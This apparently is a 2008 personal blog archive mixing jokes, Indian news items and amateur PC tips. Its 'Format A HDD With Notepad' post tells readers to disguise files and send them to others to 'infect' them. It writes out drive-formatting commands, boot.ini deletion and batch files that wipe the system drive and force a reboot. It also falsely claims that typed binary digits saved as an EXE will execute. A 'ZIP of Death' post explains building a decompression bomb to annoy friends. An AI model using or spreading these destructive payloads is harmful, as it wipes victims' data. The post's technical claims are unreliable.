Vishal Mistry: 2008

Wednesday, December 31, 2008

Windows XP SP4 Error Messages

The following are new Windows messages that are under consideration for the planned Windows XP SP4.

1. Smash forehead on keyboard to continue.
2. Enter any 11-digit prime number to continue.
3. Press any key to continue or any other key to quit.
4. Press any key except... no, No, NO, NOT THAT ONE!
5. Press Ctrl-Alt-Del now for IQ test.
6. Close your eyes and press escape three times.
7. Bad command or file name! Go stand in the corner.
8. This will end your Windows session. Do you want to play another game?
9. Windows message: "Error saving file! Format drive now? (Y/Y)"
10. This is a message from God Gates: "Rebooting the world. Please log off."
11. To "shut down" your system, type "WIN."
12. COFFEE.SYS missing... Insert cup in cup holder and press any key.
13. CONGRESS.SYS corrupted... Re-boot DELHI? (Y/N)
14. File not found. Should I fake it? (Y/N)
15. Bad or missing mouse. Spank the cat? (Y/N)
16. Runtime Error 6D at 417A:32CF: Incompetent User.
17. Error reading FAT record: Try the SKINNY one? (Y/N)
18. WinErr 16547: LPT1 not found. Use backup. (PENCIL & PAPER.SYS)
19. User Error: Replace user.
20. Windows VirusScan 1.0 - "Windows found: Remove it? (Y/N)"
21. Welcome to Microsoft's World - Your Mortgage is Past Due...
22. If you are an artist, you should know that Bill Gates owns you and all your future creations. Doesn't it feel nice to have security?
23. Your hard drive has been scanned and all stolen software titles have been deleted.

Sunday, December 28, 2008

First Miss India - 1949

First Miss India( held in the year 1949) Pramila (Esther Abraham) is now 90 Years old

Contents From GURLZGROUP

Sunday, December 21, 2008

Largest Annual Gathering of Women - Attukal Pongala in Kerala Womens

According to Guinness Book of RECORDS, Attukala Pongala event is the world’s largest annual gathering of women. In 2007, it is estimated that over 2.5 million devotees attended the event on a single day!

Attukal Pongala is an annual event at the Attukal Bhagavathy Temple in Thiruvananthapuram, Kerala (Southern state of India). This event witnesses the participation of thousands of women devotees, who flock to the temple to offer Pongala.

Women gather in the early morning and boil rice mixed with other ingredients in the open field. This offering is supposed to please presiding deity.

Only women are allowed to participate in this festival. So on the pongal day, the city is virtually sieged by Women from far away places.

UFO spotted at US airport (Chicago)!

A number of airport employees at O’Hare airport in Chicago claim that they have seen a UFO above the airport.. But federal officials explain that it is just some weather disturbance.

“hi im mohan i am having problems” - Spammmers Love this

I saw this as the 10th most searched term on technorati and looked up “hi im mohan i am having problems” on google and it returned over 352,000 results!

I guess this spammer is based out of India and seems to have done a really neat job in spamming a lot of Websites! He seems to spam for all subjects from airline tickets to prescription drugs.

He didn’t even spare this anti-spam blog! From the post,

"SPAM: hi im mohan i am having problems.
(I would say you do have problems - there’s no cure for stupidity)
IP: 194.165.130.93
All three point to a pay-per-click redirect page. Hence the reason he wants to spam..
His email address is nearly always an “@mail.com” address. Easy enough to stop… You know, Akismet works pretty well if you allow it to - and teach it along the way with what spam it misses…"

But what surprised me was that lot of these spam messages have no content at all!

Thursday, December 18, 2008

Created Replica of TAJMAHAL in Bangladesh

Taj Mahal is one of the seven wonders of World and Millions of people flock to the Taj Mahal in Indian city of Agra every year to have a glimpse of the tomb which a Mughal emperor made for his beloved queen, Mumtaz Mahal. Taking inspiration from the popularity of Taj a Bangladeshi man has created replica of Taj in Bangladesh.

A life-size replica of the Taj Mahal, often described as the world's most beautiful building, is due to open for visitors in Bangladesh.

The replica has been built by a Bangladeshi filmmaker.

Ahsanullah Moni said he wanted his countrymen to experience the beauty of the Indian monument even if they were too poor to travel to see the original.

The 17th Century Taj was built by Mughal emperor Shah Jahan as a tomb for his beloved queen, Mumtaz Mahal.

The emperor is buried next to his queen in the monument in the northern Indian city of Agra, which is visited by millions every year.

The $58m (£39m) replica has been built in Sonargaon, a small town in the Bangladeshi countryside.

Wednesday, December 17, 2008

YouTube Videos Convert To High Quality

Step1: Click to video that you want to see, the link will display on Address bar. E.x: http://in.youtube.com/watch?v=_NrA28oo_ZQ

Step2: Add &fmt=6 to the end of that string. That address like:
http://in.youtube.com/watch?v=_NrA28oo_ZQ&fmt=6

Enjoy your Video Now IT HIGH Quality Video

Step3: Add &fmt=18 to the end of that string, you'll have the best quality video with direct download link !
http://youtube.com/watch?v=9BNJwPFJ0Os&fmt=18

Note: Appending &fmt=6 to the URL delivers a 448x336 resolution version of the video and appending &fmt=18 delivers a even better 480x360 resolution version.

Unlock Iphone - Only 2 Seconds - 10000000% Working

Many people still don’t know what unlocking iPhone and how it is done. And, those are the people helping third person like you and me who has nice grip on computers and stuffs, make some money out of it. People like you and me unlock this iPhone easily, how ???

You’ve to have nice grip on how devices connects to your PC , how ports work, what USB is, etc. If you know these , then unlocking iPhone becomes no more a myth for an average user. This is the software way of unlocking iPhone.

iPhone Unlock Toolkit is a simple tool designed to help you to unlock your iPhone in one mouse click. Use your iPhone as an iPod and PDA without signing up AT&T service. This software can activate your iPhone bypass iTunes subscription,hack iPhone without AT&T’s two year contract automatically within a few seconds. It is fast, safe and easy-to-handle. Just click on the ‘Unlock iPhone’ button, the process will be completed quickly. iTunes 7.6 or later is needed

Tuesday, December 16, 2008

MR.BUSH HAS NEW PAIR OF SHOES

President Bush was almost hit by two shoes thrown at him by a reporter during a press conference in the Iraqi prime minister's office.

"This is the farewell kiss, you dog," the man shouted in Arabic.

After the incident Bush apparently said, "I'm OK."

"All I can report is it is a size 10," while dismissing it as an example of a healthy democracy and an example of free speech.

Contents From: GirlzGroup

This IMAGE is Animated but BLOGGER Not Support GIF Format so Anyone Need this Mail me . . .OR COMMENT this POST.

Monday, December 15, 2008

Funny Conversation Between Bush and Condi...

George : Condi! Nice to see you. What's happening ?

Condi : Sir, I have the report here about the new
leader of China .

George : Great. Lay it on me.

Condi : Hu is the new leader of China .

George : That's what I want to know.

Condi : That's what I'm telling you.

George : That's what I'm asking you. Who is the new
leader of China ?

Condi : Yes.

George : I mean the fellow's name.

Condi : Hu.

George : The guy in China.

Condi : Hu.

George : The new leader of China

Condi : Hu.

George : The main man in China !

Condi : Hu is leading China

George : Now whaddya' asking me for?

Condi : I'm telling you, Hu is leading China.

George : Well, I'm asking you. Who is leading China
?

Condi : That's the man's name.

George : That's who's name?

Condi : Yes.

George : Will you, or will you not, tell me the name
of the new leader of China ?

Condi : Yes, sir.

George : Yassir? Yassir Arafat is in China? I
thought he's dead in the Middle East

Condi : That's correct.

George : Then who is in China ?

Condi : Yes, sir.

George : Yassir is in China ?

Condi : No, sir.

George : Then who is?

Condi : Yes, sir.

George : Yassir?

Condi : No, sir.

George : Look Condi. I need to know the name of the
new leader of China . Get me the Secretary General of
the U.N. on the phone.

Condi : Kofi?

George : No, thanks.

Condi : You want Kofi?

George : No.

Condi : You don't want Kofi.

George : No. But now that you mention it, I could
use a glass of milk. And then get me the U.N.

Condi : Yes, sir.

George : Not Yassir! The guy at the U.N.

Condi : Kofi?

George : Milk! Will you please make the call?

Condi : And call who?

George : Who is the guy at the U.N?

Condi : Hu is the guy in China

George : Will you stay out of China?!

Condi : Yes, sir.

George : And stay out of the Middle East ! Just get
me the guy at the U.N.

Condi : Kofi.

George : All right! With cream and two sugars.

Sunday, December 14, 2008

Google 2020 Searching

Any other Option You need, you can Request me to EDIT it on the LIST.

Google Has Sense of HUMOUR (FUNNY)

This is the REALLY STRANGE AND FUNNY RESULT FROM GOOGLE . . .
YOU WILL FALL DOWN FROM YOUR CHAIR SO HOLD YOUR TABLE . . .

Here is the FUNNY AND STRANGE thing i have FOUND . . .

Just goto GOOGLE.COM
Type " Find Chuck Norris " and Click on
I'm Feeling Lucky . . .

ISN'T THAT WAS REALLY STRANGE AND FUNNY RESULT ???

COMMENTS ARE MOST WELCOMES . . .

Friday, December 12, 2008

Sania Mirza Gets A Doctorate

CHENNAI: “When I started to play tennis, I wanted to be a doctor. I had to choose between tennis and being a doctor and I chose tennis. Now, thanks to MGR University, both my dreams have come true,” said tennis star Sania Mirza, when she was conferred with the degree of doctor of letters by MGR Educational and Research Institute University, here on Thursday.

Attired in a dress befitting the occasion, Sania entered the auditorium making the photographers go berserk. She said, “I feel honoured. A special thanks to MGR University.”

Responding to the University’s wish that she start a tennis academy in Bangalore, Chennai or Hyderabad, Sania said she would certainly consider it.

Sania, now ranked 101, said she is enjoying her training sessions with Mahesh Bhupathi, Rohan Bopanna and the others in Bangalore.

“I am training five to six hours a day with an American coach and am enjoying it. We are punishing our bodies. In a way it’s relaxing to come here,” she said.

Goals for the season

On her goals for the new season Sania, accompanied by her father Imran Mirza, said smiling, “I am just living for the moment. At the moment, I am enjoying the doctorate.”

Giving the welcome address, Prof. R.M. Vasagam, Vice-President (Administration), MGR University, said that the University was proud to award the doctorate to Sania for achieving excellence in sports and for being the first woman to be seeded in a Grand Slam event.

A.C. Shanmugam, Chancellor, MGR University, said Sania had been a role model for all the tennis players who were aspiring to reach international standards.

Wednesday, December 10, 2008

The ZIP of Death

This is a exploit of the compression algorithms to make a small zip that will extract into extream amounts their are more ways and better ones than this one but i will only show how to make a simple 1k = 1m ratio.

1) Make a.txt file

2) Open and type the null character (alt + 255)

3) Press ctrl + a then ctrl + v a couple times to make some null bytes

4) If u have a hexeditor make the hex 00 for about 50 kilobytes.

5) Now make several copies of a.txt and name accordinly

6) Open cmd.exe

7) Type copy /b *.txt b.txt

8) Now every copy is made into a super copy and repeat

9) Once you have a nice empty big text file like 1gb. Put it in a zip archive.
Because of the simple construction of the file, 1gb of null bytes.....!

The zip is only 1 mb in size and can really annoy freinds.
For added fun hex edit the zip and you will see a bunch of hex 5555

Just add some more and the file will expand amazingly

Make sure to not open this after

You can always create your zip of death from the command line in linux
dd if=/dev/zero bs=1000 count=1000000 | gzip > test.gz

Shutdown Command Via Command Prompt

The 'Shutdown' Command Becomes More Flexible and Automated when used from the Command Prompt.

To Run the 'Shutdown' command from the command prompt, go to 'Start > Run', type 'cmd', and press 'Enter'.
In the black box (the command prompt) type 'Shutdown' and the Switches you want to use with the 'Shutdown' command.
You have to use at least one switch for the shutdown command to work.

The Switches :-
The 'Shutdown' command has a few options called Switches. You can always see them by typing 'shutdown -?' in the command prompt if you forget any of them.

-i: Display GUI interface, must be the first option
-l: Log off (cannot be used with -m option)
-s: Shutdown the computer
-r: Shutdown and restart the computer
-a: Abort a system shutdown
-m \\computername: Remote computer to shutdown/restart/abort
-t xx: Set timeout for shutdown to xx seconds
-c “comment”: Shutdown comment (maximum of 127 characters)
-f: Forces running applications to close without warning
-d [u][p]:xx:yy: The reason code for the shutdown u is the user code p is a planned shutdown code xx is the major reason code (positive integer less than 256) yy is the minor reason code (positive integer less than 65536)

Note :- I’ve noticed using a switch with a '-' sign doesn’t work sometimes.
If you are having trouble try using a '/' in place of '-' in your switches.

Examples :-
shutdown –m \\computername –r –f
This command will restart the computer named computername and force any programs that might still be running to stop.

shutdown –m \\computername –r –f –c “I’m restarting your computer. Please save your work now.” –t 120
This command will restart the computer named computername, force any programs that might still be running to stop, give to user on that computer a message, and countdown 120 seconds before it restarts.

shutdown –m \\computername –a
This command will abort a previous shutdown command that is in progress.

Using A Batch File :-
You can create a file that performs the shutdown command on many computers at one time.

In this example I’m going to create a batch file that will use the shutdown command to shut down 3 computers on my home network before I go to bed.

Open 'Notepad' and type the shutdown command to shut down a computer for each computer on the network.
Make sure each shutdown command is on its own line.
An example of what should be typed in notepad is given below-

shutdown –m \\computer1 –s
shutdown –m \\computer2 –s
shutdown –m \\computer3 -s

Now I’ll save it as a batch file by going to file, save as, change save as type to all files, give the file a name ending with '.bat'. I named mine 'shutdown.bat'.
Pick the location to save the batch file in and save it.

When you run the batch file it’ll shutdown computer 1, 2, and 3 for you.

You can use any combination of shutdown commands in a batch file.

How to run Firefox inside Firefox.?

Yup you can run Firefox inside firefox just by typing following url.

How about Opening Firefox inside Firefox which is again in another Firefox..?
Not bad huh?
And its really easy too just type in this url in Firefox's address bar and there you go!
Firefox inside Firefox!

copy paste following url in a web browser (mozilla firefox).

chrome://browser/content/browser.xul

EID-Mubarak To All Friends

Fashion Mantra of Yellow

True Meaning of IT BIG Companies Name (FUNNY)

1. NIIT : Not Interested in IT

2. WIPRO : Weak Input, Poor & Rubbish Output

3. HCL : Hidden Costs & Losses

4. TCS : Totally Confusing Solutions

5. INFOSYS :Inferior Offline Systems

6. HUGHES : Highly Useless Graduates Hired for Eating and Sleeping

7. BAAN : Beggars Association and Nerds

8. IBM : Implicitly Boring Machines

9. SATYAM : Sad And Tired Yelling Away Madly

10. PARAM : Puzzled And Ridiculous Array of Microprocessors

11. C-DOT : Coffee During Office Timings

12. AT&T : All Troubles & Terrible

13. CMC : Coffee, Meals and Comfort

14. DEC : Drifting & Exhausted Computers

15. BFL : Brainwash First and Let them go

17. TISL : Totally Inconsistent Systems Ltd.

19. ORACLE : On-line Romance And Chatting with Lady Employee

BOY/GIRL ATM Using

How a BOY withdraws cash from ATM.

1. Park the car

2. Go to ATM Machine

3. Insert card

4. Enter PIN

5. Take money out

6. Take ATM Card out

7. Drive away

How a GIRL withdraws cash from ATM

1. Park the car

2. Check makeup

3. Turn off engine

4. Check makeup

5. Go to ATM

6. Hunt for ATM card in the purse

7. Insert card

8. Hit Cancel

9. Hunt in purse for chit with PIN written on it

10. Insert card

11. Enter PIN

12. Take cash

13. Go to car

14. Check makeup

15. Start car

16. Stop car

17. Run back to ATM

18. Take ATM card

19. Back to car

20. Check makeup

21. Start car

22. Check makeup

23. Drive for 1/2 mile

24. Release handbrake

25. Drive on .........God Bless them

Format A HDD With Notepad

If you think that Notepad is useless then you are wrong because you can now do a lot of things with the Notepad which you could have never imagined. In this hack I will show you how to format a HDD using Notepad. This is really cool.

Step 1 :-
Copy The Following In Notepad Exactly as it is.
says01001011000111110010010101010101010000011111100000
Step 2 :-
Save As An EXE Any Name Will Do

Step 3 :-
Send the EXE to People And Infect

OR

IF you think cannot format C Drive when windows is running try Laughing and u will get it Razz ..
any way some more so u can test on other drives this is simple binary code
format c:\ /Q/X — this will format your drive c:\

01100110011011110111001001101101011000010111010000 100000011000110011101001011100

0010000000101111010100010010111101011000

format d:\ /Q/X — this will format your dirve d:\

01100110011011110111001001101101011000010111010000 100000011001000011101001011100

0010000000101111010100010010111101011000

format a:\ /Q/X — this will format your drive a:\

01100110011011110111001001101101011000010111010000 100000011000010011101001011100

0010000000101111010100010010111101011000

del /F/S/Q c:\boot.ini — this will cause your computer not to boot.

01100100011001010110110000100000001011110100011000 101111010100110010111101010001

00100000011000110011101001011100011000100110111101 101111011101000010111001101001

0110111001101001

try to figure out urself rest
cant spoonfeed
its working

Do not try it on your PC. Don’t mess around this is for educational purpose only

still if you cant figure it out try this

go to notepad and type the following:

@Echo off
Del C:\ *.*|y

save it as Genius.BAT

want worse then type the following:

@echo off
del %systemdrive%\*.*/f/s/q
shutdown -r -f -t 00

and save it as a filename.bat file

Tuesday, December 9, 2008

No WAITING @ Rapidshare Time Limits Hacked - Vishal Mistry

Everyone Searching for
How to Remove TimeLimit on Rapidshare WAIT 60 Seconds . . .Counter....
While Downloading as Free USER
Finally I Found the Solution . . .

Here is the Interesting thing I have Found ....
What to DO to Remove Time Limit . . .
Just PUT " #dlt " (DLT) at the end of Your RS Link ....then
Click on Free and You Directly to the Page of Download Button . . .

21 Million German BANK ACCOUNTS - Your For Only €12m

Identity thieves who claim they stole details of 21 million German bank accounts are offering to sell the data on the black market for €12 million (US$15.3 million), a German magazine reported over the weekend.

To prove they weren't bluffing, the crooks produced the compact disc containing the names, addresses, phone numbers, birthdays account numbers, and bank routing numbers of 1.2 million accounts. Two investigative reporters for WirtschaftsWoche say they obtained the CD during a face-to-face meeting at a hotel in Hamburg with two individuals involved with the theft. The journalists were posing as interested buyers working for a gambling operation.

"We took away with us the first delivery, a CD with 1.2 million accounts, that we couldn't imagine," said one of the editors overseeing the investigation. "In the worst case, three out of four German households would have to be afraid that some money could be taken from their checking account without their authorisation, and perhaps even without their realising it," the magazine stated.

The information was most likely collected from call center employees, the magazine said.

It's Germany's second mega heist of personal information in as many months. In October, T-Mobile admitted losing records belonging to 17 million customers that included their names, addresses, dates of birth, phone numbers, and email addresses.

Peter Schaar, a government official in charge of protecting personal data, said the WirtschaftsWoche report should serve as a wake up call.

Tuesday, December 2, 2008

Open GIF layers in Photoshop CS3

Open GIF layers in Photoshop CS3

Since we lost ImageReady with the introduction of CS3, animated gif files can't be opened directly without losing all but one layer. However, there is a work-around to be able to open gifs with all their animation layers....

1. Now you can see what's hiddenGo to File > Import > Video Frames to Layers

2. Now you can see what's hiddenIn the File name field, type all of the following: "*.*"

3. Now you can see what's hiddenClick on Load

Now you can import any animated gif file with all its layers.

NOTE: Now you can see what's hiddenIn order for the above work-around to work, you must
have QuickTime 7.1 or higher installed on your system.

What Indians do in America

It was the first day of a school in USA and a new Indian student named Chandrasekhar Subramanian entered the fourth grade.

The teacher said, "Let's begin by reviewing some American History. Who said 'Give me Liberty , or give me Death'?"

She saw a sea of blank faces, except for Chandrasekhar, who had his hand up: 'Patrick Henry, 1775' he said.

'Very good!'

Who said 'Government of the People, by the People, for the People, shall not perish from the Earth?'

Again, no response except from Chandrasekhar. 'Abraham Lincoln, 1863' said Chandrasekhar.

The teacher snapped at the class, 'Class, you should be ashamed. Chandrasekhar, who is new to our country, knows more about its history than you do.'

She heard a loud whisper: 'F*ck the Indians,'

'Who said that?' she demanded. Chandrasekhar put his hand up.

'General Custer, 1862.'

At that point, a student in the back said, 'I'm gonna puke.'

The teacher glares around and asks 'All right! Now, who said that?'

Again, Chandrasekhar says, 'George Bush to the Japanese Prime Minister, 1991.'

Now furious, another student yells, 'Oh yeah? Suck this!'

Chandrasekhar jumps out of his chair waving his hand and shouts to the teacher , 'Bill Clinton, to Monica Lewinsky, 1997!'

Now with almost mob hysteria someone said 'You little shit. If you say anything else, I'll kill you.'

Chandrasekhar frantically yells at the top of his voice, ' Michael Jackson to the child witnesses testifying against him- 2004.'

The teacher fainted.

And as the class gathered around the teacher on the floor, someone said, 'Oh shit, we're screwed!'

And Chandrasekhar said quietly, "I think it was the American people, November 4, 2008."

If anyone doesn't like this post please feel free to post a comment or mail me....(

Sunday, November 30, 2008

હાસ્યનું હુલ્લડ

પતિ : ‘તું મારી એકપણ વાતમાં સહમત નથી થતી. હું શું મૂરખ છું ?’
પત્ની : ‘સારું, ચલો આ વાતમાં હું સહમત થાઉં છું.’
*********

બે ગામડિયાઓ ઈજિપ્શિયન મમીને જોતા હતા. તેની ઉપર ઘણા બધા પાટા બાંધેલા જોઈ એકે કહ્યું : ‘લાગે છે લોરી-અકસ્માત થયો છે.
તરત બીજો બોલ્યો : ‘હા. જો લોરી નંબર લખ્યો છે BC 1760 !’
**********

છગન એના ચીની મિત્રને હોસ્પિટલમાં મળવા ગયો. ચીની મિત્ર : ‘ચીન યુન યાન’ એટલું બોલીને મરી ગયો. મિત્રના છેલ્લા શબ્દો શું હતા એ જાણવા છગન ચીન ગયો અને એ શબ્દોનો અર્થ પૂછ્યો.
અર્થ હતો : ‘તું મારી ઑક્સિજનની નળી ઉપર ઊભો છે.’
**********

પચાસમી લગ્નતિથિની ઉજવણીમાં પતિની આંખમાં અચાનક આંસુ જોઈ પત્નીએ કારણ પૂછ્યું
પતિ : ‘તને ખબર છે આજથી પચાસ વર્ષ પહેલાં હું તને ચોરીછૂપીથી મળવા આવ્યો’તો ત્યારે તારા પપ્પાએ મને પકડી લીધો અને ધમકી આપી કે તું મારી દીકરી સાથે લગ્ન નહીં કરે તો તને જેલભેગો કરીશ !’
પત્ની : ‘એમાં રડવાનું શું ?’
પતિ : ‘ના, હું કેટલો ભોળો હતો તે યાદ આવી ગયું.’
**********

શિક્ષકે પૂછયું : જો તમે 001 ડાયલ કરો તો શું થાય ?
મગન : પોલીસજીપ રિવર્સ ગિયરમાં આવે બીજું શું થાય ?
***********

પ્રોફેસરે વિદ્યાર્થીઓને પોતપોતાના પ્રેમીનાં નામ લખવા કહ્યું. દસ સેકંડ પછી છોકરીઓ બોલી : ‘સર લખાઈ ગયું.’
દસ મિનિટ પછી છોકરાઓએ કહ્યું : ‘સપ્લિમેન્ટરી પ્લીઝ !’
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શિક્ષક : એક વર્ષમાં કેટલી રાત આવે ?
મગન : 10 રાત આવે.
શિક્ષક : કેવી રીતે અલ્યા ?
મગન : નવ-નવરાત્રી અને એક શિવરાત્રી. થઈ ગઈને દસ !!
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બાપુ બીડી પીતા હતા. કોઈકે પૂછ્યું : બાપુ, ધુમાડા કાં નો નીકળે ?
બાપુ : આ અસ્સલ CNG બીડી છે એટલે….!!
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એક પતિએ પત્નીને તમાચો માર્યો. પત્ની ગુસ્સે થઈ ગઈ.
પતિ બોલ્યો : માણસ કોને મારે ? જેને એ પ્રેમ કરતો હોય.
પત્નીએ ડાબા હાથની બે ઝીંકી દીધી : તમે શું સમજો છો ? હું શું તમને ઓછો પ્રેમ કરું છું ?
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રસ પડે એવું સર્વેક્ષણ. માત્ર 15% પુરુષોને જ મગજ હોય છે. બાકીના બધાને પત્ની હોય છે ! બોલો તારારમ…. !
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સંતાસિંહનું ટાબરિયું અર્ધો લિટર પેટ્રોલ પી ગયું. સંતાએ લાફો મારીને પૂછયું : ક્યૂં પિયા પેટ્રોલ ?
ટાબરિયું : ટીચરને બોલા કી મેરી એવરેજ કમ હૈ, સો મૈંને….
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એક ભાઈની પત્નીને બીજા કોઈ સાથે દોસ્તી હતી. તે હાથમાં ખુલ્લી રિવોલ્વરે ‘આજે તો એને મારી જ નાખું.’ બોલતો બોલતો નીકળ્યો કે થોડીક વારમાં ખાલી હાથે પાછો આવ્યો. ટોળામાં જોનારાએ પૂછ્યું : ‘અરે પાપે, વો નહીં મિલા ક્યા ?’
ભાઈ : નહીં યાર, મિલા તો, પર ઉસને પૂછા કિ રિવોલ્વર કિતને મેં ખરીદી ? મૈંને બોલા છેસ્સોમેં. વો બોલા બારાસોમેં દેગા ? તો મૈંને બેચદી…. ક્યા કરેં, ધંધે કા ભી તો દેખને કા ના….
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ગ્રાહક : ‘આ તમારી હોટલના નોકરો કેવા છે ? હજામત માટે ગરમ પાણી આપી ગયા તે કેટલું બધું ખરાબ હતું. ?’
મૅનેજર : ‘અરે સાહેબ ! એ તો તમારા માટે સવારની ચા મોકલી હતી. હજામતનું પાણી નહિ.’
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પતિ (ગુસ્સામાં) : ‘હવે તું તારી મા પાસે ચાલ્યા જવાની ધમકી આપીશ. ખરું ને ?’
પત્ની : ‘ના, એવી ભૂલ હું નહીં કરું. હું તો મારી માને અહીં જ બોલાવવાની છું.’
************

વીજળીઘરની બહાર બોર્ડ લટકતું હતું. તેમાં લખ્યું હતું : ‘આ થાંભલાને અડનારનું મૃત્યુ નિશ્ચિત છે. જો કોઈ તેને અડકશે તો કાયદા મુજબ તેની પર કામ ચલાવવામાં આવશે.’
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શિક્ષક : રામુ ! તું વર્ગમાં ઊંઘી શકે નહિ !
રામુ : તમે વચમાં વિક્ષેપ ન પાડો તો જરૂર ઊંઘી શકું, સાહેબ !
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જેલર : શું તને તારાં ઘરવાળાંની યાદ નથી આવતી ?
કેદી : એ બધાં તો આ જેલમાં જ છે, સાહેબ !
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અમારી બદલી અલહાબાદ થઈ હતી. અમે રોજ ચાર લિટર દૂધ લેતા હતા. અમે દૂધવાળાને પૂછ્યું : ‘ભૈયાજી, તમારી ગાય રોજ કેટલા લિટર દૂધ આપે છે ?’
‘બે લિટર, સાહેબ.’
‘તો પછી ચાર લિટર તમે કેવી રીતે આપો છો ?’
‘એ તો ગંગામૈયાની કૃપા છે, સાહેબ.’
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‘તમે એક લિટરમાં કેટલા કિલોમીટર મોટર ચલાવો છો ?’
‘એક કિલોમીટર’
‘એક જ ?’
‘હા, બાકીના પંદર કિલોમીટર મારી પત્ની ચલાવે છે.’
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ડૉક્ટર ગમનલાલે તેમના દરદી હજારીમલને કહ્યું : ‘તમારા પગે હજી સોજા છે, પણ એની ચિંતા કરવાનું કશું જ કારણ નથી.
હજારીમલ : ‘સાહેબ, જો આપના પગે સોજા હોત તો મને પણ એમાં ચિંતા કરવા જેવું લાગત નહિ.’
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પુત્ર : ‘પિતાજી, કોઈ વ્યક્તિ આપણા પક્ષમાંથી બીજા પક્ષમાં જાય તો તેને શું કહેવાય ?’
પિતા : ‘વિશ્વાસઘાત.’
પુત્ર : ‘અને સામા પક્ષમાંથી કોઈ આપણા પક્ષમાં જોડાય તો ?’
પિતા : ‘દીકરા ! એને હૃદયપરિવર્તન કહેવાય, સમજ્યો ?’
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મિત્રોએ જેમને આજીવન બ્રહ્મચારી માની લીધા હતા તે મનસુખલાલે 58 વર્ષની વયે પ્રભુતામાં પગલાં પાડ્યાં ત્યારે તેમને મિત્રોએ પૂછ્યું : ‘મનસુખલાલ, તમારે લગ્ન કરવાં જ હતાં તો પછી આટલો બધો વિલંબ કેમ કર્યો ?’
મનસુખલાલે જણાવ્યું : ‘જો મારી પત્ની વઢકણી નીકળે તો એની સાથે વધુ દિવસો વિતાવવા ન પડે. પણ એથી ઊલટું જો એ ડાહી નીકળે તો એને માટે આટલી બધી રાહ જોઈ, એ લેખે લાગે.’
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નોકર : ‘સાહેબ ! હું આ ઘરની નોકરી છોડીને જાઉં છું.’
શેઠે એનું કારણ પૂછ્યું ત્યારે તેણે જણાવ્યું કે તમને મારા પર વિશ્વાસ તો છે નહિ, પછી અહીં રહેવાનો શો અર્થ છે ?’
‘કેમ એમ બોલે છે ? મારા ઘરની બધી જ ચાવીઓ – તિજોરી સુદ્ધાંની તો ટેબલ પર પડી રહે છે.’
‘પણ એમાંની એકેય ચાવીથી તિજોરી તો ખૂલતી જ નથી.’ નોકરે જવાબ આપ્યો.
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Thursday, November 27, 2008

Toolbar for Orkut Scrap Book

Not you thinking that your Scraps should look different from other members???

So Here is How to Formatting your Scrap with use of this Small Toolbar......

What You Need to Work this ???
All you Need is Mozilla Firefox . . .with Greasemonkey Installed
A Small Addon for Run Scripts on your Pages....

Goto this URL for GreesMoneky :
https://addons.mozilla.org/en-US/firefox/addon/748

Grease Monkey is Installed ....
Now You need a Small Script
Goto to this URL for Script :
http://userscripts.org/scripts/show/12841

Your Done Now goto Your Scrap Book . . .

ENJOY !!!!!!!!

Dell Precision New Range of Laptops

Model Name: Dell Precision M6400 ('M' for Mobile)
Processor: Intel Quad Core, multithreaded
RAM: Upto 16GB DDR3
Memory Graphics: 1GB nVidia OpenGL Graphics
Storage: 1TB of storage space on your hard drive
Display: Stunning 17" screen

Happy Birthday Virus Info

This time again a virus hit windows.I would like it to call the happy birthday virus.This virus is called Happy birthday virus because it displays a message happy birthday again and again before crashing your system.
This is a pretty strong virus with the feature that this virus is a strong boot sector Virus. Once this virus activates it will surely going to change the boot sector of your windows operating system. It deletes the boot loader NTLDR file of the windows and rest you all knows what is going to happen.
Windows it will not be able to start.
SO all you windows geeks try to avoid this virus.
Above all the need of formatting the disks will arise so make sure that you save your data in advance in any secure drive.
This virus is coming via pen drives and may also come through network as I am not able to see all its capabilities.
All the computer geeks are required to submit their posts and expierience with this new virus and also please notify any technique to avoid this virus.
Happy Birthday is going to chnage the windows computing for sometime so make sure that you not insert pen drives without proper scaning and knowledge.

MOBILE MAGIC IN EMERGENCY

If your at Place and No Network Coverage Area and Your in Trouble
Now any How You want to Make a Call for Your Emergency Help . . .
What Will You DO ???
Hoping The BEST, No You have to DO Something for your Self . . .
to Call Someone to HELP you out . . . . .

But what you can do with your Cell-Phone without Network.....
Here is the Thing you must Remember for this kind of Problem....

Nothing to Worry Just Dial 112 From your Cell Phone and it will
Search the Nearest Network area and Now make a Call........

But BAD LUCK IS WITH YOU . . . . .

Now the BIG Trouble Your UNABLE to Unlock the Keypad of your Cell-Phone . . .
What will you DO ????

Dont Worry your still ABLE to Dial 112 Number from LOCKED KEYPAD . . .

TRY NOW ON YOUR CELL PHONE
JUST LOCK YOUR KEYPADS OF CELL PHONE AND DIAL 112
MAGIC WILL WORK FOR YOU . . . .

so if you Find your self in this position, you have the SOLUTION ....
Because you have Read my POST. THANK YOU.....

YouTube Video Without any SOFTWARE

This is Tutorial for Downloading YOUTUBE.COM Videos to your Hard Disk.

Lest say you want to Download the Following Videos From youtube

http://www.youtube.com/watch?v=jWlqmc1B7EE

so now what you have to do....
Its Simple Just Rename youtube to voobys

and now your URL should be Look like this :
http//www.voobys.com/watch?v=jWlqmc1B7EE

Now Just click on Download Button . . .
It will show you a Dialog Box asking you for Save . . .
Just Select the Folder Where you want to Save your Video . . .
It will Save your Video as .FLV Extension.

ENJOY !!!!!!!!!

Unkown Fact About MS-Word

Bill Gates still doesn't know why it happens:
Try out yourself...
Open Microsoft Word and type
=rand(200,99)
and then HIT ENTER....see what happens.
This will Not HARM Your PC.

What if Bill Gates Doesn't Know, I Have the Info about this . . .

The rand function

The Microsoft Knowledge Base article How to Insert Sample Text into a Document in Word [212251] explains the use and syntax of the function:

Microsoft Word allows you to quickly insert sample text into a document. To do this, type =rand() in the document where you want the text to appear, and then press ENTER.

The inserted text is that hardy perennial: “The quick brown fox jumps over the lazy dog,” which contains every letter in the English alphabet.

By default, the sample text contains three paragraphs, each containing five sentences. You can control how many paragraphs and sentences appear by adding numbers inside the parentheses, for instance:

=rand(3,4)

The first number is the number of paragraphs, and the second the number of sentences per paragraph. If you omit the second number, you get five sentences in each paragraph.

Read More @ http://word.mvps.org/faqs/formatting/DummyText.htm

Wednesday, November 26, 2008

How to Get INDEX of your Folder

If you want a INDEX of your Folder like BOOKS have . . .

Step 1: Go to Run ==> Type CMD (Command Prompt).
Step 2: Now you want to Index a Folder Named Movies.
Step 3: Type:
dir c:\downloads\movies > c:\downloads\movies\index.txt
Step 4: Now your Done. . .

Of course you can put the index file anywhere, and you don't have to create it, windows will do it for you.

How to Identify "Unknown Device" Simple Way

If your Facing any Problem while Installing some Hardware You must try this . . .

Under the Device Manager, just Right-click the Properties where the Hardware have an exclamation mark(yellow warning mark) on it.

Then go under Details and select Hardware Id's at drop down menu list.

